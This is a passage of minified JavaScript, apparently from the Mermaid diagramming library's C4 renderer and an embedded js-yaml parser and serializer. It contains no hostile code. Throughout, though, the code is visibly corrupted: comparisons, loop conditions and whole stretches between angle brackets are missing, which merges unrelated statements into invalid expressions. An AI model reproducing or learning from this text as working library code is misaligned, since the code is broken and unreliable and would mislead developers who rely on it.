d=isNaN(u[1].height)||isNaN(u[1].width)||isNaN(u[1].lineHeight)||u[0].height>u[1].height&&u[0].width>u[1].width&&u[0].lineHeight>u[1].lineHeight?0:1;return u[d]},(t,e)=>`${t}${e.fontSize}${e.fontWeight}${e.fontFamily}`),PL=class{constructor(e=!1,r){this.count=0;this.count=r?r.length:0,this.next=e?()=>this.count++:()=>Date.now()}static{o(this,"InitIDGenerator")}},C_e=o(function(t){return _T=_T||document.createElement("div"),t=escape(t).replace(/%26/g,"&").replace(/%23/g,"#").replace(/%3B/g,";"),_T.innerHTML=t,unescape(_T.textContent)},"entityDecode");o(qL,"isDetailedError");A_e=o((t,e,r,n)=>{if(!n)return;let i=t.node()?.getBBox();i&&t.append("text").text(n).attr("text-anchor","middle").attr("x",i.x+i.width/2).attr("y",-r).attr("class",e)},"insertTitle"),vc=o(t=>{if(typeof t=="number")return[t,t+"px"];let e=parseInt(t??"",10);return Number.isNaN(e)?[void 0,void 0]:t===String(e)?[e,t+"px"]:[e,t]},"parseFontSize");o(Vn,"cleanAndMerge");qt={assignWithDepth:Rn,wrapLabel:UL,calculateTextHeight:DT,calculateTextWidth:Zi,calculateTextDimensions:HL,cleanAndMerge:Vn,detectInit:p_e,detectDirective:xQ,isSubstringInArray:m_e,interpolateToCurve:FL,calcLabelPosition:x_e,calcCardinalityPosition:b_e,calcTerminalLabelPosition:T_e,formatUrl:g_e,getStylesFromArray:zL,generateId:GL,random:VL,runFunc:y_e,entityDecode:C_e,insertTitle:A_e,isLabelCoordinateInPath:__e,parseFontSize:vc,InitIDGenerator:PL},wQ=o(function(t){let e=t;return e=e.replace(/style.*:\S*#.*;/g,function(r){return r.substring(0,r.length-1)}),e=e.replace(/classDef.*:\S*#.*;/g,function(r){return r.substring(0,r.length-1)}),e=e.replace(/#\w+;/g,function(r){let n=r.substring(1,r.length-1);return/^\+?\d+$/.test(n)?"\uFB02\xB0\xB0"+n+"\xB6\xDF":"\uFB02\xB0"+n+"\xB6\xDF"}),e},"encodeEntities"),Ji=o(function(t){return t.replace(/fl°°/g,"&#").replace(/fl°/g,"&").replace(/¶ß/g,";")},"decodeEntities"),xc=o((t,e,{counter:r=0,prefix:n,suffix:i},a)=>a||`${n?`${n}_`:""}${t}_${e}_${r}${i?`_${i}`:""}`,"getEdgeId");o(Cn,"handleUndefinedAttr");o(__e,"isLabelCoordinateInPath")});function Ll(t,e,r,n,i){if(!e[t].width)if(r)e[t].text=UL(e[t].text,i,n),e[t].textLines=e[t].text.split(tt.lineBreakRegex).length,e[t].width=i,e[t].height=DT(e[t].text,n);else{let a=e[t].text.split(tt.lineBreakRegex);e[t].textLines=a.length;let s=0;e[t].height=0,e[t].width=0;for(let l of a)e[t].width=Math.max(Zi(l,n),e[t].width),s=DT(l,n),e[t].height=e[t].height+s}}function AQ(t,e,r,n,i){let a=new MT(i);a.data.widthLimit=r.data.widthLimit/Math.min(WL,n.length);for(let[s,l]of n.entries()){let u=0;l.image={width:0,height:0,Y:0},l.sprite&&(l.image.width=48,l.image.height=48,l.image.Y=u,u=l.image.Y+l.image.height);let h=l.wrap&&Wt.wrap,f=LT(Wt);if(f.fontSize=f.fontSize+2,f.fontWeight="bold",Ll("label",l,h,f,a.data.widthLimit),l.label.Y=u+8,u=l.label.Y+l.label.height,l.type&&l.type.text!==""){l.type.text="["+l.type.text+"]";let g=LT(Wt);Ll("type",l,h,g,a.data.widthLimit),l.type.Y=u+5,u=l.type.Y+l.type.height}if(l.descr&&l.descr.text!==""){let g=LT(Wt);g.fontSize=g.fontSize-2,Ll("descr",l,h,g,a.data.widthLimit),l.descr.Y=u+20,u=l.descr.Y+l.descr.height}if(s==0||s%WL===0){let g=r.data.startx+Wt.diagramMarginX,y=r.data.stopy+Wt.diagramMarginY+u;a.setData(g,g,y,y)}else{let g=a.data.stopx!==a.data.startx?a.data.stopx+Wt.diagramMarginX:a.data.startx,y=a.data.starty;a.setData(g,g,y,y)}a.name=l.alias;let d=i.db.getC4ShapeArray(l.alias),p=i.db.getC4ShapeKeys(l.alias);p.length>0&&CQ(a,t,d,p),e=l.alias;let m=i.db.getBoundaries(e);m.length>0&&AQ(t,e,a,m,i),l.alias!=="global"&&SQ(t,l,a),r.data.stopy=Math.max(a.data.stopy+Wt.c4ShapeMargin,r.data.stopy),r.data.stopx=Math.max(a.data.stopx+Wt.c4ShapeMargin,r.data.stopx),RT=Math.max(RT,r.data.stopx),NT=Math.max(NT,r.data.stopy)}}var RT,NT,EQ,WL,Wt,MT,YL,g2,LT,D_e,SQ,CQ,Ms,kQ,L_e,R_e,N_e,XL,_Q=N(()=>{"use strict";yr();kj();pt();RA();gr();GA();Xt();v0();tr();Ei();RT=0,NT=0,EQ=4,WL=2;tv.yy=ov;Wt={},MT=class{static{o(this,"Bounds")}constructor(e){this.name="",this.data={},this.data.startx=void 0,this.data.stopx=void 0,this.data.starty=void 0,this.data.stopy=void 0,this.data.widthLimit=void 0,this.nextData={},this.nextData.startx=void 0,this.nextData.stopx=void 0,this.nextData.starty=void 0,this.nextData.stopy=void 0,this.nextData.cnt=0,YL(e.db.getConfig())}setData(e,r,n,i){this.nextData.startx=this.data.startx=e,this.nextData.stopx=this.data.stopx=r,this.nextData.starty=this.data.starty=n,this.nextData.stopy=this.data.stopy=i}updateVal(e,r,n,i){e[r]===void 0?e[r]=n:e[r]=i(n,e[r])}insert(e){this.nextData.cnt=this.nextData.cnt+1;let r=this.nextData.startx===this.nextData.stopx?this.nextData.stopx+e.margin:this.nextData.stopx+e.margin*2,n=r+e.width,i=this.nextData.starty+e.margin*2,a=i+e.height;(r>=this.data.widthLimit||n>=this.data.widthLimit||this.nextData.cnt>EQ)&&(r=this.nextData.startx+e.margin+Wt.nextLinePaddingX,i=this.nextData.stopy+e.margin*2,this.nextData.stopx=n=r+e.width,this.nextData.starty=this.nextData.stopy,this.nextData.stopy=a=i+e.height,this.nextData.cnt=1),e.x=r,e.y=i,this.updateVal(this.data,"startx",r,Math.min),this.updateVal(this.data,"starty",i,Math.min),this.updateVal(this.data,"stopx",n,Math.max),this.updateVal(this.data,"stopy",a,Math.max),this.updateVal(this.nextData,"startx",r,Math.min),this.updateVal(this.nextData,"starty",i,Math.min),this.updateVal(this.nextData,"stopx",n,Math.max),this.updateVal(this.nextData,"stopy",a,Math.max)}init(e){this.name="",this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0,widthLimit:void 0},this.nextData={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0,cnt:0},YL(e.db.getConfig())}bumpLastMargin(e){this.data.stopx+=e,this.data.stopy+=e}},YL=o(function(t){Rn(Wt,t),t.fontFamily&&(Wt.personFontFamily=Wt.systemFontFamily=Wt.messageFontFamily=t.fontFamily),t.fontSize&&(Wt.personFontSize=Wt.systemFontSize=Wt.messageFontSize=t.fontSize),t.fontWeight&&(Wt.personFontWeight=Wt.systemFontWeight=Wt.messageFontWeight=t.fontWeight)},"setConf"),g2=o((t,e)=>({fontFamily:t[e+"FontFamily"],fontSize:t[e+"FontSize"],fontWeight:t[e+"FontWeight"]}),"c4ShapeFont"),LT=o(t=>({fontFamily:t.boundaryFontFamily,fontSize:t.boundaryFontSize,fontWeight:t.boundaryFontWeight}),"boundaryFont"),D_e=o(t=>({fontFamily:t.messageFontFamily,fontSize:t.messageFontSize,fontWeight:t.messageFontWeight}),"messageFont");o(Ll,"calcC4ShapeTextWH");SQ=o(function(t,e,r){e.x=r.data.startx,e.y=r.data.starty,e.width=r.data.stopx-r.data.startx,e.height=r.data.stopy-r.data.starty,e.label.y=Wt.c4ShapeMargin-35;let n=e.wrap&&Wt.wrap,i=LT(Wt);i.fontSize=i.fontSize+2,i.fontWeight="bold";let a=Zi(e.label.text,i);Ll("label",e,n,i,a),Al.drawBoundary(t,e,Wt)},"drawBoundary"),CQ=o(function(t,e,r,n){let i=0;for(let a of n){i=0;let s=r[a],l=g2(Wt,s.typeC4Shape.text);switch(l.fontSize=l.fontSize-2,s.typeC4Shape.width=Zi("\xAB"+s.typeC4Shape.text+"\xBB",l),s.typeC4Shape.height=l.fontSize+2,s.typeC4Shape.Y=Wt.c4ShapePadding,i=s.typeC4Shape.Y+s.typeC4Shape.height-4,s.image={width:0,height:0,Y:0},s.typeC4Shape.text){case"person":case"external_person":s.image.width=48,s.image.height=48,s.image.Y=i,i=s.image.Y+s.image.height;break}s.sprite&&(s.image.width=48,s.image.height=48,s.image.Y=i,i=s.image.Y+s.image.height);let u=s.wrap&&Wt.wrap,h=Wt.width-Wt.c4ShapePadding*2,f=g2(Wt,s.typeC4Shape.text);if(f.fontSize=f.fontSize+2,f.fontWeight="bold",Ll("label",s,u,f,h),s.label.Y=i+8,i=s.label.Y+s.label.height,s.type&&s.type.text!==""){s.type.text="["+s.type.text+"]";let m=g2(Wt,s.typeC4Shape.text);Ll("type",s,u,m,h),s.type.Y=i+5,i=s.type.Y+s.type.height}else if(s.techn&&s.techn.text!==""){s.techn.text="["+s.techn.text+"]";let m=g2(Wt,s.techn.text);Ll("techn",s,u,m,h),s.techn.Y=i+5,i=s.techn.Y+s.techn.height}let d=i,p=s.label.width;if(s.descr&&s.descr.text!==""){let m=g2(Wt,s.typeC4Shape.text);Ll("descr",s,u,m,h),s.descr.Y=i+20,i=s.descr.Y+s.descr.height,p=Math.max(s.label.width,s.descr.width),d=i-s.descr.textLines*5}p=p+Wt.c4ShapePadding,s.width=Math.max(s.width||Wt.width,p,Wt.width),s.height=Math.max(s.height||Wt.height,d,Wt.height),s.margin=s.margin||Wt.c4ShapeMargin,t.insert(s),Al.drawC4Shape(e,s,Wt)}t.bumpLastMargin(Wt.c4ShapeMargin)},"drawC4ShapeArray"),Ms=class{static{o(this,"Point")}constructor(e,r){this.x=e,this.y=r}},kQ=o(function(t,e){let r=t.x,n=t.y,i=e.x,a=e.y,s=r+t.width/2,l=n+t.height/2,u=Math.abs(r-i),h=Math.abs(n-a),f=h/u,d=t.height/t.width,p=null;return n==a&&ri?p=new Ms(r,l):r==i&&na&&(p=new Ms(s,n)),r>i&&n=f?p=new Ms(r,l+f*t.width/2):p=new Ms(s-u/h*t.height/2,n+t.height):r=f?p=new Ms(r+t.width,l+f*t.width/2):p=new Ms(s+u/h*t.height/2,n+t.height):ra?d>=f?p=new Ms(r+t.width,l-f*t.width/2):p=new Ms(s+t.height/2*u/h,n):r>i&&n>a&&(d>=f?p=new Ms(r,l-t.width/2*f):p=new Ms(s-t.height/2*u/h,n)),p},"getIntersectPoint"),L_e=o(function(t,e){let r={x:0,y:0};r.x=e.x+e.width/2,r.y=e.y+e.height/2;let n=kQ(t,r);r.x=t.x+t.width/2,r.y=t.y+t.height/2;let i=kQ(e,r);return{startPoint:n,endPoint:i}},"getIntersectPoints"),R_e=o(function(t,e,r,n){let i=0;for(let a of e){i=i+1;let s=a.wrap&&Wt.wrap,l=D_e(Wt);n.db.getC4Type()==="C4Dynamic"&&(a.label.text=i+": "+a.label.text);let h=Zi(a.label.text,l);Ll("label",a,s,l,h),a.techn&&a.techn.text!==""&&(h=Zi(a.techn.text,l),Ll("techn",a,s,l,h)),a.descr&&a.descr.text!==""&&(h=Zi(a.descr.text,l),Ll("descr",a,s,l,h));let f=r(a.from),d=r(a.to),p=L_e(f,d);a.startPoint=p.startPoint,a.endPoint=p.endPoint}Al.drawRels(t,e,Wt)},"drawRels");o(AQ,"drawInsideBoundary");N_e=o(function(t,e,r,n){Wt=ge().c4;let i=ge().securityLevel,a;i==="sandbox"&&(a=qe("#i"+e));let s=i==="sandbox"?qe(a.nodes()[0].contentDocument.body):qe("body"),l=n.db;n.db.setWrap(Wt.wrap),EQ=l.getC4ShapeInRow(),WL=l.getC4BoundaryInRow(),X.debug(`C:${JSON.stringify(Wt,null,2)}`);let u=i==="sandbox"?s.select(`[id="${e}"]`):qe(`[id="${e}"]`);Al.insertComputerIcon(u),Al.insertDatabaseIcon(u),Al.insertClockIcon(u);let h=new MT(n);h.setData(Wt.diagramMarginX,Wt.diagramMarginX,Wt.diagramMarginY,Wt.diagramMarginY),h.data.widthLimit=screen.availWidth,RT=Wt.diagramMarginX,NT=Wt.diagramMarginY;let f=n.db.getTitle(),d=n.db.getBoundaries("");AQ(u,"",h,d,n),Al.insertArrowHead(u),Al.insertArrowEnd(u),Al.insertArrowCrossHead(u),Al.insertArrowFilledHead(u),R_e(u,n.db.getRels(),n.db.getC4Shape,n),h.data.stopx=RT,h.data.stopy=NT;let p=h.data,g=p.stopy-p.starty+2*Wt.diagramMarginY,v=p.stopx-p.startx+2*Wt.diagramMarginX;f&&u.append("text").text(f).attr("x",(p.stopx-p.startx)/2-4*Wt.diagramMarginX).attr("y",p.starty+Wt.diagramMarginY),mn(u,g,v,Wt.useMaxWidth);let x=f?60:0;u.attr("viewBox",p.startx-Wt.diagramMarginX+" -"+(Wt.diagramMarginY+x)+" "+v+" "+(g+x)),X.debug("models:",p)},"draw"),XL={drawPersonOrSystemArray:CQ,drawBoundary:SQ,setConf:YL,draw:N_e}});var M_e,DQ,LQ=N(()=>{"use strict";M_e=o(t=>`.person { + stroke: ${t.personBorder}; + fill: ${t.personBkg}; + } +`,"getStyles"),DQ=M_e});var RQ={};dr(RQ,{diagram:()=>I_e});var I_e,NQ=N(()=>{"use strict";RA();GA();_Q();LQ();I_e={parser:nH,db:ov,renderer:XL,styles:DQ,init:o(({c4:t,wrap:e})=>{XL.setConf(t),ov.setWrap(e)},"init")}});function jQ(t){return typeof t>"u"||t===null}function F_e(t){return typeof t=="object"&&t!==null}function $_e(t){return Array.isArray(t)?t:jQ(t)?[]:[t]}function z_e(t,e){var r,n,i,a;if(e)for(a=Object.keys(e),r=0,n=a.length;rl&&(a=" ... ",e=n-l+a.length),r-n>l&&(s=" ...",r=n+l-s.length),{str:a+t.slice(e,r).replace(/\t/g,"\u2192")+s,pos:n-e+a.length}}function KL(t,e){return Pi.repeat(" ",e-t.length)+t}function j_e(t,e){if(e=Object.create(e||null),!t.buffer)return null;e.maxLength||(e.maxLength=79),typeof e.indent!="number"&&(e.indent=1),typeof e.linesBefore!="number"&&(e.linesBefore=3),typeof e.linesAfter!="number"&&(e.linesAfter=2);for(var r=/\r?\n|\r|\0/g,n=[0],i=[],a,s=-1;a=r.exec(t.buffer);)i.push(a.index),n.push(a.index+a[0].length),t.position<=a.index&&s<0&&(s=n.length-2);s<0&&(s=n.length-1);var l="",u,h,f=Math.min(t.line+e.linesAfter,i.length).toString().length,d=e.maxLength-(e.indent+f+3);for(u=1;u<=e.linesBefore&&!(s-u<0);u++)h=jL(t.buffer,n[s-u],i[s-u],t.position-(n[s]-n[s-u]),d),l=Pi.repeat(" ",e.indent)+KL((t.line-u+1).toString(),f)+" | "+h.str+` +`+l;for(h=jL(t.buffer,n[s],i[s],t.position,d),l+=Pi.repeat(" ",e.indent)+KL((t.line+1).toString(),f)+" | "+h.str+` +`,l+=Pi.repeat("-",e.indent+f+3+h.pos)+`^ +`,u=1;u<=e.linesAfter&&!(s+u>=i.length);u++)h=jL(t.buffer,n[s+u],i[s+u],t.position-(n[s]-n[s+u]),d),l+=Pi.repeat(" ",e.indent)+KL((t.line+u+1).toString(),f)+" | "+h.str+` +`;return l.replace(/\n$/,"")}function J_e(t){var e={};return t!==null&&Object.keys(t).forEach(function(r){t[r].forEach(function(n){e[String(n)]=r})}),e}function eDe(t,e){if(e=e||{},Object.keys(e).forEach(function(r){if(Q_e.indexOf(r)===-1)throw new Is('Unknown option "'+r+'" is met in definition of "'+t+'" YAML type.')}),this.options=e,this.tag=t,this.kind=e.kind||null,this.resolve=e.resolve||function(){return!0},this.construct=e.construct||function(r){return r},this.instanceOf=e.instanceOf||null,this.predicate=e.predicate||null,this.represent=e.represent||null,this.representName=e.representName||null,this.defaultStyle=e.defaultStyle||null,this.multi=e.multi||!1,this.styleAliases=J_e(e.styleAliases||null),Z_e.indexOf(this.kind)===-1)throw new Is('Unknown kind "'+this.kind+'" is specified for "'+t+'" YAML type.')}function IQ(t,e){var r=[];return t[e].forEach(function(n){var i=r.length;r.forEach(function(a,s){a.tag===n.tag&&a.kind===n.kind&&a.multi===n.multi&&(i=s)}),r[i]=n}),r}function tDe(){var t={scalar:{},sequence:{},mapping:{},fallback:{},multi:{scalar:[],sequence:[],mapping:[],fallback:[]}},e,r;function n(i){i.multi?(t.multi[i.kind].push(i),t.multi.fallback.push(i)):t[i.kind][i.tag]=t.fallback[i.tag]=i}for(o(n,"collectType"),e=0,r=arguments.length;e=0&&(e=e.slice(1)),e===".inf"?r===1?Number.POSITIVE_INFINITY:Number.NEGATIVE_INFINITY:e===".nan"?NaN:r*parseFloat(e,10)}function CDe(t,e){var r;if(isNaN(t))switch(e){case"lowercase":return".nan";case"uppercase":return".NAN";case"camelcase":return".NaN"}else if(Number.POSITIVE_INFINITY===t)switch(e){case"lowercase":return".inf";case"uppercase":return".INF";case"camelcase":return".Inf"}else if(Number.NEGATIVE_INFINITY===t)switch(e){case"lowercase":return"-.inf";case"uppercase":return"-.INF";case"camelcase":return"-.Inf"}else if(Pi.isNegativeZero(t))return"-0.0";return r=t.toString(10),SDe.test(r)?r.replace("e",".e"):r}function ADe(t){return Object.prototype.toString.call(t)==="[object Number]"&&(t%1!==0||Pi.isNegativeZero(t))}function LDe(t){return t===null?!1:ZQ.exec(t)!==null||JQ.exec(t)!==null}function RDe(t){var e,r,n,i,a,s,l,u=0,h=null,f,d,p;if(e=ZQ.exec(t),e===null&&(e=JQ.exec(t)),e===null)throw new Error("Date resolve error");if(r=+e[1],n=+e[2]-1,i=+e[3],!e[4])return new Date(Date.UTC(r,n,i));if(a=+e[4],s=+e[5],l=+e[6],e[7]){for(u=e[7].slice(0,3);u.length<3;)u+="0";u=+u}return e[9]&&(f=+e[10],d=+(e[11]||0),h=(f*60+d)*6e4,e[9]==="-"&&(h=-h)),p=new Date(Date.UTC(r,n,i,a,s,l,u)),h&&p.setTime(p.getTime()-h),p}function NDe(t){return t.toISOString()}function IDe(t){return t==="<<"||t===null}function PDe(t){if(t===null)return!1;var e,r,n=0,i=t.length,a=n9;for(r=0;r64)){if(e<0)return!1;n+=6}return n%8===0}function BDe(t){var e,r,n=t.replace(/[\r\n=]/g,""),i=n.length,a=n9,s=0,l=[];for(e=0;e>16&255),l.push(s>>8&255),l.push(s&255)),s=s<<6|a.indexOf(n.charAt(e));return r=i%4*6,r===0?(l.push(s>>16&255),l.push(s>>8&255),l.push(s&255)):r===18?(l.push(s>>10&255),l.push(s>>2&255)):r===12&&l.push(s>>4&255),new Uint8Array(l)}function FDe(t){var e="",r=0,n,i,a=t.length,s=n9;for(n=0;n>18&63],e+=s[r>>12&63],e+=s[r>>6&63],e+=s[r&63]),r=(r<<8)+t[n];return i=a%3,i===0?(e+=s[r>>18&63],e+=s[r>>12&63],e+=s[r>>6&63],e+=s[r&63]):i===2?(e+=s[r>>10&63],e+=s[r>>4&63],e+=s[r<<2&63],e+=s[64]):i===1&&(e+=s[r>>2&63],e+=s[r<<4&63],e+=s[64],e+=s[64]),e}function $De(t){return Object.prototype.toString.call(t)==="[object Uint8Array]"}function UDe(t){if(t===null)return!0;var e=[],r,n,i,a,s,l=t;for(r=0,n=l.length;r>10)+55296,(t-65536&1023)+56320)}function lLe(t,e){this.input=t,this.filename=e.filename||null,this.schema=e.schema||eZ,this.onWarning=e.onWarning||null,this.legacy=e.legacy||!1,this.json=e.json||!1,this.listener=e.listener||null,this.implicitTypes=this.schema.compiledImplicit,this.typeMap=this.schema.compiledTypeMap,this.length=t.length,this.position=0,this.line=0,this.lineStart=0,this.lineIndent=0,this.firstTabInLine=-1,this.documents=[]}function oZ(t,e){var r={name:t.filename,buffer:t.input.slice(0,-1),position:t.position,line:t.line,column:t.position-t.lineStart};return r.snippet=K_e(r),new Is(e,r)}function Zt(t,e){throw oZ(t,e)}function PT(t,e){t.onWarning&&t.onWarning.call(null,oZ(t,e))}function Yh(t,e,r,n){var i,a,s,l;if(e1&&(t.result+=Pi.repeat(` +`,e-1))}function cLe(t,e,r){var n,i,a,s,l,u,h,f,d=t.kind,p=t.result,m;if(m=t.input.charCodeAt(t.position),Os(m)||bm(m)||m===35||m===38||m===42||m===33||m===124||m===62||m===39||m===34||m===37||m===64||m===96||(m===63||m===45)&&(i=t.input.charCodeAt(t.position+1),Os(i)||r&&bm(i)))return!1;for(t.kind="scalar",t.result="",a=s=t.position,l=!1;m!==0;){if(m===58){if(i=t.input.charCodeAt(t.position+1),Os(i)||r&&bm(i))break}else if(m===35){if(n=t.input.charCodeAt(t.position-1),Os(n))break}else{if(t.position===t.lineStart&&$T(t)||r&&bm(m))break;if(bc(m))if(u=t.line,h=t.lineStart,f=t.lineIndent,Ci(t,!1,-1),t.lineIndent>=e){l=!0,m=t.input.charCodeAt(t.position);continue}else{t.position=s,t.line=u,t.lineStart=h,t.lineIndent=f;break}}l&&(Yh(t,a,s,!1),a9(t,t.line-u),a=s=t.position,l=!1),Yd(m)||(s=t.position+1),m=t.input.charCodeAt(++t.position)}return Yh(t,a,s,!1),t.result?!0:(t.kind=d,t.result=p,!1)}function uLe(t,e){var r,n,i;if(r=t.input.charCodeAt(t.position),r!==39)return!1;for(t.kind="scalar",t.result="",t.position++,n=i=t.position;(r=t.input.charCodeAt(t.position))!==0;)if(r===39)if(Yh(t,n,t.position,!0),r=t.input.charCodeAt(++t.position),r===39)n=t.position,t.position++,i=t.position;else return!0;else bc(r)?(Yh(t,n,i,!0),a9(t,Ci(t,!1,e)),n=i=t.position):t.position===t.lineStart&&$T(t)?Zt(t,"unexpected end of the document within a single quoted scalar"):(t.position++,i=t.position);Zt(t,"unexpected end of the stream within a single quoted scalar")}function hLe(t,e){var r,n,i,a,s,l;if(l=t.input.charCodeAt(t.position),l!==34)return!1;for(t.kind="scalar",t.result="",t.position++,r=n=t.position;(l=t.input.charCodeAt(t.position))!==0;){if(l===34)return Yh(t,r,t.position,!0),t.position++,!0;if(l===92){if(Yh(t,r,t.position,!0),l=t.input.charCodeAt(++t.position),bc(l))Ci(t,!1,e);else if(l<256&&aZ[l])t.result+=sZ[l],t.position++;else if((s=aLe(l))>0){for(i=s,a=0;i>0;i--)l=t.input.charCodeAt(++t.position),(s=iLe(l))>=0?a=(a<<4)+s:Zt(t,"expected hexadecimal character");t.result+=oLe(a),t.position++}else Zt(t,"unknown escape sequence");r=n=t.position}else bc(l)?(Yh(t,r,n,!0),a9(t,Ci(t,!1,e)),r=n=t.position):t.position===t.lineStart&&$T(t)?Zt(t,"unexpected end of the document within a double quoted scalar"):(t.position++,n=t.position)}Zt(t,"unexpected end of the stream within a double quoted scalar")}function fLe(t,e){var r=!0,n,i,a,s=t.tag,l,u=t.anchor,h,f,d,p,m,g=Object.create(null),y,v,x,b;if(b=t.input.charCodeAt(t.position),b===91)f=93,m=!1,l=[];else if(b===123)f=125,m=!0,l={};else return!1;for(t.anchor!==null&&(t.anchorMap[t.anchor]=l),b=t.input.charCodeAt(++t.position);b!==0;){if(Ci(t,!0,e),b=t.input.charCodeAt(t.position),b===f)return t.position++,t.tag=s,t.anchor=u,t.kind=m?"mapping":"sequence",t.result=l,!0;r?b===44&&Zt(t,"expected the node content, but found ','"):Zt(t,"missed comma between flow collection entries"),v=y=x=null,d=p=!1,b===63&&(h=t.input.charCodeAt(t.position+1),Os(h)&&(d=p=!0,t.position++,Ci(t,!0,e))),n=t.line,i=t.lineStart,a=t.position,wm(t,e,IT,!1,!0),v=t.tag,y=t.result,Ci(t,!0,e),b=t.input.charCodeAt(t.position),(p||t.line===n)&&b===58&&(d=!0,b=t.input.charCodeAt(++t.position),Ci(t,!0,e),wm(t,e,IT,!1,!0),x=t.result),m?Tm(t,l,g,v,y,x,n,i,a):d?l.push(Tm(t,null,g,v,y,x,n,i,a)):l.push(y),Ci(t,!0,e),b=t.input.charCodeAt(t.position),b===44?(r=!0,b=t.input.charCodeAt(++t.position)):r=!1}Zt(t,"unexpected end of the stream within a flow collection")}function dLe(t,e){var r,n,i=QL,a=!1,s=!1,l=e,u=0,h=!1,f,d;if(d=t.input.charCodeAt(t.position),d===124)n=!1;else if(d===62)n=!0;else return!1;for(t.kind="scalar",t.result="";d!==0;)if(d=t.input.charCodeAt(++t.position),d===43||d===45)QL===i?i=d===43?OQ:eLe:Zt(t,"repeat of a chomping mode identifier");else if((f=sLe(d))>=0)f===0?Zt(t,"bad explicit indentation width of a block scalar; it cannot be less than one"):s?Zt(t,"repeat of an indentation width identifier"):(l=e+f-1,s=!0);else break;if(Yd(d)){do d=t.input.charCodeAt(++t.position);while(Yd(d));if(d===35)do d=t.input.charCodeAt(++t.position);while(!bc(d)&&d!==0)}for(;d!==0;){for(i9(t),t.lineIndent=0,d=t.input.charCodeAt(t.position);(!s||t.lineIndentl&&(l=t.lineIndent),bc(d)){u++;continue}if(t.lineIndente)&&u!==0)Zt(t,"bad indentation of a sequence entry");else if(t.lineIndente)&&(v&&(s=t.line,l=t.lineStart,u=t.position),wm(t,e,OT,!0,i)&&(v?g=t.result:y=t.result),v||(Tm(t,d,p,m,g,y,s,l,u),m=g=y=null),Ci(t,!0,-1),b=t.input.charCodeAt(t.position)),(t.line===a||t.lineIndent>e)&&b!==0)Zt(t,"bad indentation of a mapping entry");else if(t.lineIndente?u=1:t.lineIndent===e?u=0:t.lineIndente?u=1:t.lineIndent===e?u=0:t.lineIndent tag; it should be "scalar", not "'+t.kind+'"'),d=0,p=t.implicitTypes.length;d"),t.result!==null&&g.kind!==t.kind&&Zt(t,"unacceptable node kind for !<"+t.tag+'> tag; it should be "'+g.kind+'", not "'+t.kind+'"'),g.resolve(t.result,t.tag)?(t.result=g.construct(t.result,t.tag),t.anchor!==null&&(t.anchorMap[t.anchor]=t.result)):Zt(t,"cannot resolve a node with !<"+t.tag+"> explicit tag")}return t.listener!==null&&t.listener("close",t),t.tag!==null||t.anchor!==null||f}function vLe(t){var e=t.position,r,n,i,a=!1,s;for(t.version=null,t.checkLineBreaks=t.legacy,t.tagMap=Object.create(null),t.anchorMap=Object.create(null);(s=t.input.charCodeAt(t.position))!==0&&(Ci(t,!0,-1),s=t.input.charCodeAt(t.position),!(t.lineIndent>0||s!==37));){for(a=!0,s=t.input.charCodeAt(++t.position),r=t.position;s!==0&&!Os(s);)s=t.input.charCodeAt(++t.position);for(n=t.input.slice(r,t.position),i=[],n.length<1&&Zt(t,"directive name must not be less than one character in length");s!==0;){for(;Yd(s);)s=t.input.charCodeAt(++t.position);if(s===35){do s=t.input.charCodeAt(++t.position);while(s!==0&&!bc(s));break}if(bc(s))break;for(r=t.position;s!==0&&!Os(s);)s=t.input.charCodeAt(++t.position);i.push(t.input.slice(r,t.position))}s!==0&&i9(t),Xh.call(FQ,n)?FQ[n](t,n,i):PT(t,'unknown document directive "'+n+'"')}if(Ci(t,!0,-1),t.lineIndent===0&&t.input.charCodeAt(t.position)===45&&t.input.charCodeAt(t.position+1)===45&&t.input.charCodeAt(t.position+2)===45?(t.position+=3,Ci(t,!0,-1)):a&&Zt(t,"directives end mark is expected"),wm(t,t.lineIndent-1,OT,!1,!0),Ci(t,!0,-1),t.checkLineBreaks&&rLe.test(t.input.slice(e,t.position))&&PT(t,"non-ASCII line breaks are interpreted as content"),t.documents.push(t.result),t.position===t.lineStart&&$T(t)){t.input.charCodeAt(t.position)===46&&(t.position+=3,Ci(t,!0,-1));return}if(t.position"u"&&(r=e,e=null);var n=lZ(t,r);if(typeof e!="function")return n;for(var i=0,a=n.length;i=55296&&r<=56319&&e+1=56320&&n<=57343)?(r-55296)*1024+n-56320+65536:r}function yZ(t){var e=/^\n* /;return e.test(t)}function XLe(t,e,r,n,i,a,s,l){var u,h=0,f=null,d=!1,p=!1,m=n!==-1,g=-1,y=WLe(y2(t,0))&&YLe(y2(t,t.length-1));if(e||s)for(u=0;u=65536?u+=2:u++){if(h=y2(t,u),!T2(h))return xm;y=y&&UQ(h,f,l),f=h}else{for(u=0;u=65536?u+=2:u++){if(h=y2(t,u),h===x2)d=!0,m&&(p=p||u-g-1>n&&t[g+1]!==" ",g=u);else if(!T2(h))return xm;y=y&&UQ(h,f,l),f=h}p=p||m&&u-g-1>n&&t[g+1]!==" "}return!d&&!p?y&&!s&&!i(t)?vZ:a===b2?xm:t9:r>9&&yZ(t)?xm:s?a===b2?xm:t9:p?bZ:xZ}function jLe(t,e,r,n,i){t.dump=(function(){if(e.length===0)return t.quotingType===b2?'""':"''";if(!t.noCompatMode&&($Le.indexOf(e)!==-1||zLe.test(e)))return t.quotingType===b2?'"'+e+'"':"'"+e+"'";var a=t.indent*Math.max(1,r),s=t.lineWidth===-1?-1:Math.max(Math.min(t.lineWidth,40),t.lineWidth-a),l=n||t.flowLevel>-1&&r>=t.flowLevel;function u(h){return qLe(t,h)}switch(o(u,"testAmbiguity"),XLe(e,l,t.indent,s,u,t.quotingType,t.forceQuotes&&!n,i)){case vZ:return e;case t9:return"'"+e.replace(/'/g,"''")+"'";case xZ:return"|"+HQ(e,t.indent)+qQ(GQ(e,a));case bZ:return">"+HQ(e,t.indent)+qQ(GQ(KLe(e,s),a));case xm:return'"'+QLe(e)+'"';default:throw new Is("impossible error: invalid scalar style")}})()}function HQ(t,e){var r=yZ(t)?String(e):"",n=t[t.length-1]===` +`,i=n&&(t[t.length-2]===` +`||t===` +`),a=i?"+":n?"":"-";return r+a+` +`}function qQ(t){return t[t.length-1]===` +`?t.slice(0,-1):t}function KLe(t,e){for(var r=/(\n+)([^\n]*)/g,n=(function(){var h=t.indexOf(` +`);return h=h!==-1?h:t.length,r.lastIndex=h,WQ(t.slice(0,h),e)})(),i=t[0]===` +`||t[0]===" ",a,s;s=r.exec(t);){var l=s[1],u=s[2];a=u[0]===" 